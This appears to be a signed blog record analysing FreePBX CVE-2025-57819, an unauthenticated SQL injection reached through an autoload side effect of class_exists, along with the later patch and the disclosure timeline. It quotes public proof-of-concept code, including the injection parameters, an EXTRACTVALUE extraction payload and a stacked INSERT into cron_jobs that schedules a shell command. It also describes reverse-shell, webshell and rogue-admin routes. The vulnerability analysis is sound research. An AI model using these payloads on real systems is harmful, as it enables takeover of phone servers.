-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The dispatcher's security check loads the file the attacker named.\n\n`/admin/ajax.php` is the entry script. Pre-patch, it does almost nothing before handing off:\n\n```php\nif (!isset($_REQUEST['module'])) {\n $module = \"framework\";\n} else {\n $module = $_REQUEST['module'];\n}\n// session_start, freepbx.conf bootstrap...\n$bmo->Ajax->doRequest($module, $command);\n```\n\n`$module` arrives uninspected. The BMO dispatcher in `libraries/BMO/Ajax.class.php` opens with what reads as a security check:\n\n```php\npublic function doRequest($module = null, $command = null) {\n if (!$module || !$command) {\n throw new \\Exception(\"Module or Command were null. Check your code.\");\n }\n\n if (class_exists(ucfirst($module)) && $module != \"directory\") {\n throw new \\Exception(\"The class $module already existed. Ajax MUST load it, for security reasons\");\n }\n // ...\n}\n```\n\nThe author's intent is in the throw message. A module class that already exists at this point was loaded by code the dispatcher does not control, and the dispatcher refuses to dispatch into a class it did not load itself. The check is meant to keep pre-loaded BMO classes from being abused as gadgets.\n\n`class_exists` in PHP takes a second parameter, `bool $autoload = true`, omitted here. With the default, `class_exists` runs every registered SPL autoloader against the requested class name before returning. The function is named for what it returns. The function is documented to load classes during the check.\n\nFreePBX registers exactly one autoloader, in `admin/functions.inc.php`:\n\n```php\nspl_autoload_register('fpbx_framework_autoloader');\n```\n\n`fpbx_framework_autoloader` is in the same file:\n\n```php\nfunction fpbx_framework_autoloader($class) {\n // ...\n if (stripos($class, 'FreePBX\\\\modules\\\\') === 0) {\n $req = substr($class, 16);\n $modarr = explode('\\\\', $req);\n if (!isset($modarr[1])) {\n return;\n }\n $moddir = \\FreePBX::Config()->get('AMPWEBROOT')\n .\"/admin/modules/\".strtolower(array_shift($modarr)).\"/\";\n $filepath = $moddir.join(\"/\", $modarr).\".php\";\n if (file_exists($filepath)) {\n include $filepath;\n }\n return;\n }\n // ...\n}\n```\n\nThe mechanics: strip the `FreePBX\\modules\\` prefix from the class name, split the remainder on `\\`, treat the first component as a directory name under `AMPWEBROOT/admin/modules/`, treat the joined rest as a `.php` file under that directory, `include` if the file exists.\n\nSend `module=FreePBX\\modules\\endpoint\\ajax` to the dispatcher. The dispatcher reaches `class_exists(\"FreePBX\\modules\\endpoint\\ajax\")`. PHP, finding no such class loaded, calls `fpbx_framework_autoloader(\"FreePBX\\modules\\endpoint\\ajax\")`. The autoloader strips the prefix, splits, and includes `/var/www/html/admin/modules/endpoint/ajax.php`. That file is the standalone request handler shipped with the commercial Endpoint Manager module. It does not call any FreePBX authentication helper. It reads `$_REQUEST['command']` and `$_REQUEST['brand']`, concatenates `brand` into a SQL query, echoes a JSON response, and exits.\n\nThe dispatcher's Referer check, in the same file, sits at line 78:\n\n```php\nif($this->settings['allowremote'] !== true && $this->freepbx->Config->get('CHECKREFERER')) {\n if (!isset($_SERVER['HTTP_REFERER'])) {\n $this->ajaxError(403, 'ajaxRequest declined - Referrer');\n }\n // ...\n}\n```\n\nThat code does not run. The `class_exists` call on line 38 of the same file completed before the line 78 check was reached, and the autoloader that call invoked sent the response and exited the process. Everything after `class_exists` is documentation of what the dispatcher would have checked if it had been given the chance to.\n\n## The brand parameter is an EXTRACTVALUE-shaped error-based primitive with stacked-query writes.\n\nThe endpoint module's standalone `ajax.php` builds a SQL query in which `$_REQUEST['brand']` is interpolated as a bare string. The b4sh2 PoC confirms the shape:\n\n```python\ndef _send(self, inject):\n params = {\n \"module\": r\"FreePBX\\modules\\endpoint\\ajax\",\n \"command\": \"model\",\n \"template\": \"x\",\n \"model\": \"model\",\n \"brand\": inject,\n }\n return self.s.get(self.url, params=params, timeout=20).text\n\ndef _error_value(self, subquery):\n body = self._send(f\"x' AND EXTRACTVALUE(1,CONCAT(0x7e,({subquery}),0x7e))-- -\")\n m = self.ERR_RE.search(body)\n return m.group(1) if m else None\n```\n\nSingle-quote terminated, comment delimited. MySQL's `EXTRACTVALUE` returns the offending second argument inside the resulting XPath-syntax error string. The endpoint module's JSON error wrapper echoes the database error verbatim. One request per twenty-byte chunk reads any column from any table the database user can see.\n\nError-based exfiltration is the conservative half of the primitive. The endpoint module's `mysqli` driver is connected with multi-query support, so the injection accepts stacked statements. The b4sh2 PoC walks the second half:\n\n```python\ninject = (\n \"x';INSERT INTO cron_jobs \"\n \"(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) \"\n f\"VALUES ('sysadmin','{job}','{cmd}',NULL,'* * * * *',30,1,1)-- -\"\n)\n```\n\nThe row goes into the `cron_jobs` table FreePBX's cron manager reads. The cron manager executes the `command` column as a shell command at the next minute boundary. The PoC's command is a bash reverse shell. The PoC's cleanup is a follow-up `DELETE FROM cron_jobs` issued through the same SQLi sink after the listener catches the connection.\n\nThis is the [unauth-write-to-execution-path](/patterns/unauth-write-to-execution-path) shape with the execution path being a database table rather than a webroot. The three architectural decisions still compose: a write reachable without authentication (the SQLi sink in `endpoint/ajax.php`, made unauthenticated by the dispatcher's autoload side effect), a destination the server later reads as code (the cron daemon's job table, scanned every minute), and no validation of the destination's contents (the `command` column is a free-form string the cron driver hands to a shell). The [Pix-for-WooCommerce instance](/posts/pix-woocommerce-nonce-is-not-auth) of this pattern wrote PHP files into a webroot served by `mod_php`. FreePBX writes a shell command into the row a `* * * * *` schedule runs. The substrate is the same.\n\nThe watchTowr detection PoC takes a parallel route, writing a PHP webshell to `/var/www/html/` by piping a base64-decoded payload from the cron command into the webroot. The 0xEhab PoC inserts a new admin into the `ampusers` table via the same stacked-write primitive, authenticates as that user, and chains the authenticated-only CVE-2025-61678 path-traversal upload for the same outcome. Three exploit modes against one primitive.\n\n## The \"shortest fix\" is in the dispatcher, not in the autoloader.\n\nSangoma's GHSA-m42g-xg4c-5f3h advisory shipped on August 28, 2025. The fixed endpoint-module versions (15.0.66, 16.0.89, 17.0.3) close the SQLi sink in the commercial `endpoint/ajax.php`. Two weeks later, on September 11, 2025, framework commit `cd26bb1` landed in the BMO dispatcher. The commit message, in full:\n\n> Shortest fix for validating AJAX module parameter.\n\nThe diff:\n\n```diff\n if (!isset($_REQUEST['module'])) {\n $module = \"framework\";\n+} elseif(!preg_match('/^[\\w-]{3,99}$/', $_REQUEST['module'])) {\n+ header(\"HTTP/1.1 501 Not Implemented\");\n+ die();\n } else {\n $module = $_REQUEST['module'];\n }\n```\n\n`\\w` in PCRE is `[A-Za-z0-9_]`. The regex forbids backslashes. The namespace-form payload `FreePBX\\modules\\endpoint\\ajax` no longer reaches the dispatcher; PHP returns 501 before `doRequest` is called. The endpoint module's SQLi sink is no longer reachable by this path on any framework installation past 17.0.20.\n\nWhat the patch does not change: `class_exists` on line 38 of `Ajax.class.php` still runs with `$autoload = true`. The `fpbx_framework_autoloader` still includes any matching `.php` file under `admin/modules//.php` when called with a `FreePBX\\modules\\\\` class name. The check still runs before the dispatcher's Referer-and-session check, in the same order. The mechanism is intact; only one of the inputs to it is filtered.\n\nThe commit message is honest about its scope. The shortest fix is not the most thorough fix. The shortest fix moves the gate from \"no validation\" to \"reject the parameter unless it matches a strict pattern.\" It does not change the dispatcher's pre-auth code path, and it does not change the fact that, in a different module, a different standalone `ajax.php` with a different SQL sink would still be reachable as a side effect of a defensive call to `class_exists`.\n\n## The CVE is post-hoc documentation of a thing that had already happened.\n\nHorizon3's writeup names the in-wild date: on or before August 21, 2025. Sangoma's advisory published seven days later. The framework \"shortest fix\" landed twenty-one days after the in-wild observation, fourteen days after the advisory, in a separate commit by a separate engineer.\n\nThis is the [disclosure-after-exploitation](/patterns/disclosure-after-exploitation) pattern with a two-stage advisory. The August 28 advisory closed the demonstrated SQL injection sink in the commercial endpoint module. The September 11 framework commit closed the family of primitives the same module-parameter trick could reach. The advisory did not enumerate that family because the advisory was about the commercial endpoint module, not about the dispatcher that delivered traffic to it. Customers who applied the August advisory had the endpoint sink closed; the autoload-via-`class_exists` primitive remained in the dispatcher for two more weeks, available against any standalone `.php` file shipped by any installed module under any name. The same pattern surfaced in [SolarWinds Serv-U](/posts/solarwinds-servu-cve-2026-28318-patched-the-path-not-the-decoder) the following spring: the patch addressed the path to the sink, the workaround addressed the path to the sink, and the sink itself was not closed.\n\nThe CVE record describes \"insufficiently sanitized user-supplied data\" in the endpoint module. It does not describe `class_exists`. It does not describe the autoloader. It does not describe the dispatcher's ordering. The 0xEhab PoC chains CVE-2025-57819 with CVE-2025-61678 against the same module in a single network conversation; two CVEs filed against the same component in the same month, exploitable in series from one unauthenticated entry. The CVSS-v4.0 score of 10.0 is calibrated against one of them.\n\n## The check was the include.\n\nThe dispatcher's first defensive step was the dispatcher's first executable code path. `class_exists` was called for the value it returns. The autoloader ran for the side effect it performs. The Referer check sits below both, in the same file, on a line that was never reached.\n\nPoCs: [b4sh2/CVE-2025-57819-poc](https://github.com/b4sh2/CVE-2025-57819-poc), [0xEhab/FreePBX-CVE-2025-57819-RCE](https://github.com/0xEhab/FreePBX-CVE-2025-57819-RCE).","closing_line":"The check was named for what it returns. The check shipped for what it triggers.","hook_md":"FreePBX's BMO Ajax dispatcher takes three actions in order. It validates the module parameter the caller sent. It loads the module's PHP class. It checks the caller's Referer and session. CVE-2025-57819 is the one-week window in August 2025 in which \"validate the module parameter\" meant a single `class_exists()` call, \"load the module class\" meant the autoloader chain that `class_exists()` ran while answering it, and the dispatcher's Referer-and-session check arrived after the file the attacker named had already echoed the response and exited.\n\nThe patch is a four-line regex on `$_REQUEST['module']`. The bug is the order.","post_id":578,"slug":"freepbx-cve-2025-57819-class-exists-was-the-include","title":"CVE-2025-57819: FreePBX's Ajax Dispatcher Asked PHP If The Class Existed. PHP Loaded The File.","type":"initial","unreadable_sentence":"Everything after class_exists is documentation of what the dispatcher would have checked if it had been given the chance to."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaiSmdAAKCRDeZjl4jgkQ JgtXAQCy4cZ0/C4fmqOKyPmvHXiA5Mg8mzaHUdfy90EtuR2JewEAmuw/SHQdWETA Ooj3otsbWaLNinEf9viZ57DFORP6bwc= =3hNB -----END PGP SIGNATURE-----